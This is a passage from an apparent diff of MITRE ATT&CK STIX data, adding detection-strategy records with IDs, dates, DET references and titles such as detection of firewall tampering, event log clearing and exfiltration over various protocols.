"x-mitre-detection-strategy--7ad9b54d-cd23-4ec3-a5b2-db5e58e82a02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0853", + "external_id": "DET0853" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Develop Capabilities", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--97b0c549-88d2-4739-a081-a9113e25cf1a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2e8be762-9987-4f19-997d-2f7c7540b8e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0844", + "external_id": "DET0844" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Digital Certificates", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--06c3cd77-148a-424e-a55e-1e11ff3d9504" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--15afa7ae-955a-4c19-b48e-ad13b68d7a54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0831", + "external_id": "DET0831" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Digital Certificates", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--24e641ec-e64a-4f2c-91b1-8bd400e97547" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4cadb231-5487-4135-834b-d0db75a93a45", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0848", + "external_id": "DET0848" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Digital Certificates", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--babb8a91-12af-4f2d-be59-2df099acc06c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f40c0c98-76fe-4e2a-970a-0491f52a9a47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0211", + "external_id": "DET0211" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Direct VM Console Access via Cloud-Native Methods", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--926f4550-8c47-4882-afb3-1f0832c8d3b9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ee674b38-f59a-4f21-860a-19d065e13aaf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0426", + "external_id": "DET0426" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Direct Volume Access for File System Evasion", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--126a43e3-7b39-4312-ba15-aab0f7ce78f9", + "x-mitre-analytic--892f06ae-6a95-438b-8219-49b3384a4d24" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--acb9a314-aa08-4a0f-b3ba-201d87fa4cc8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0145", + "external_id": "DET0145" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Disabled or Modified System Firewalls across OS Platforms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--df0f8f0a-1e92-415d-b15e-63cea928973a", + "x-mitre-analytic--3327048a-e90c-47e5-9b67-d2ecaa89523c", + "x-mitre-analytic--38c74fcf-2a4d-45cd-8465-b5d80a605bd8", + "x-mitre-analytic--1fecb6f7-e72f-452e-a078-3298cba8d481", + "x-mitre-analytic--1216ae5e-bc5c-4672-a216-2706fb9ba3df" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bcc3656b-82bf-44d7-a4e8-c5da5ce2e7ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0847", + "external_id": "DET0847" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Domain Properties", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4ba44323-b5b0-46c9-be94-f2c5d0fdbec5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3414f3b8-17a2-438c-8bbc-a261a04da8bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0007", + "external_id": "DET0007" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Domain Trust Discovery via API, Script, and CLI Enumeration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c3be6c4a-3b3d-4a37-a1d8-2c4df915a7aa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3eb428c7-5192-4ae2-a5a3-022ca9695ec8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0270", + "external_id": "DET0270" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Domain or Tenant Policy Modifications via AD and Identity Provider", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f403ae40-31ff-4550-b21f-e1c24315276d", + "x-mitre-analytic--65a1926d-e504-4153-b19f-555e8a06e5a5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dce8edf3-894f-4857-8f85-04db84bcebd9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0863", + "external_id": "DET0863" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Domains", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0cadbf9f-befa-4bd8-85b8-e5af53383953" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--354dfdf4-9da9-45b5-909c-13f5702fc263", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0892", + "external_id": "DET0892" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Domains", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--68a7b414-9864-46c6-b629-bec6f07b5c31" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3e6efcf8-8308-4832-b247-ce08703c7ed9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0825", + "external_id": "DET0825" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Drive-by Target", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f1e4a6ae-86b5-4cf1-a044-0ffc6551196e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d50c5f8f-0091-4675-8264-abcb4247de26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0861", + "external_id": "DET0861" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Email Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ab74118c-05e1-4acd-b1c2-445d1f7c5fd1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4c5608c3-b5ca-4c8e-932e-ad6c55683cd1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0835", + "external_id": "DET0835" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Email Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8619af40-05db-49a7-b7b8-476facfd4b2c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--33040f26-43e3-4c1d-8557-02f306bb028f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0814", + "external_id": "DET0814" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Email Addresses", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b123fe68-1da5-4c80-b4f0-f3d476891e11" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3268135a-a73f-4594-95e6-6ea8813a39d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0857", + "external_id": "DET0857" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Employee Names", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8a75f571-49f8-4df8-b02c-fad2189273ee" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--095e0e71-498f-4403-a69f-5a6e4ff50503", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0873", + "external_id": "DET0873" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Establish Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2eb3d192-6e04-4e42-af63-ed3f54f65285" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d340864e-5685-48d5-8a78-3c55a7169207", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0532", + "external_id": "DET0532" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Event Log Clearing on Windows via Behavioral Chain", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6482fa33-322b-47e4-a9f7-c2bcc92d132a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9280a84d-bf77-4a86-a052-ce6ea0d50e72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0077", + "external_id": "DET0077" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exfiltration Over Alternate Network Interfaces", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cf404364-1397-4f0f-9c21-cd534880722a", + "x-mitre-analytic--5b9f2d26-e84c-49a3-8586-a7367580b802", + "x-mitre-analytic--5a05483c-fb3b-4240-bf90-c1873b6bd392" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d187b646-5fb3-4d65-a190-e25e2131f802", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0512", + "external_id": "DET0512" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6869578d-d3e8-4a3c-9717-0a188dc0bafe", + "x-mitre-analytic--a2309590-988e-4116-85e6-59bfc5357726", + "x-mitre-analytic--46585379-5be9-4ce0-9178-c3492f539e11", + "x-mitre-analytic--20ecf7be-864a-4ae0-be66-cf26ffa9a217" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a772e6e0-017e-4ceb-b125-4620ac85a5bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0149", + "external_id": "DET0149" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exfiltration Over Unencrypted Non-C2 Protocol", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d265376d-3cdc-4e95-a8ea-4c4278860218", + "x-mitre-analytic--ad5fb8d4-7f1c-4442-a4e5-96592364c4cc", + "x-mitre-analytic--b608c89f-ce2c-4993-8522-7b2731851606", + "x-mitre-analytic--82f3feb5-f17e-4c1c-b67d-c8331d220905", + "x-mitre-analytic--611778c2-9de4-4066-b7d1-78752891c32e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c328d67c-f6e3-491b-9e1c-92f651c15c98", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0827", + "external_id": "DET0827" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploits", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--41990c88-06e2-4453-88bf-6bebe776a9a1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4b8278b5-5749-4a2d-94b1-5129e43a7455", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0894", + "external_id": "DET0894" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Exploits", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1762aa55-010b-4a26-b439-7afcfcc5613d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1fba9af9-8087-4958-90c0-ecdd8c887f6f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0416", + "external_id": "DET0416" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of File Transfer Protocol-Based C2 (FTP, FTPS, SMB, TFTP)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--befbbdad-a17b-41f2-bb24-5cb477c5cc50", + "x-mitre-analytic--170e84e2-fa22-4e8c-b2f3-3cafc0d96d7e", + "x-mitre-analytic--9e9efdc0-82d3-4046-a4db-e97454f708a6", + "x-mitre-analytic--61e3802a-c95c-43c2-8749-139e0f750169", + "x-mitre-analytic--9c5ef78d-2e02-4201-ba38-ec858e8b6a6f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--440ba398-6224-4273-b63c-d0efd0fe612a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0818", + "external_id": "DET0818" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Firmware", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8722b13a-1b20-4f2e-991b-153a26bba2a8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b172a0fa-e429-4e6e-89b4-54dcfcefa893", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0826", + "external_id": "DET0826" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Gather Victim Host Information", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ae4f420e-1d38-4f6e-b4b6-4b0932f596e7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b5ec4351-ee04-4beb-a019-b1f6d0e00894", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0841", + "external_id": "DET0841" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Gather Victim Identity Information", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dc58724a-18a9-4bb9-a901-f5630963095b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + 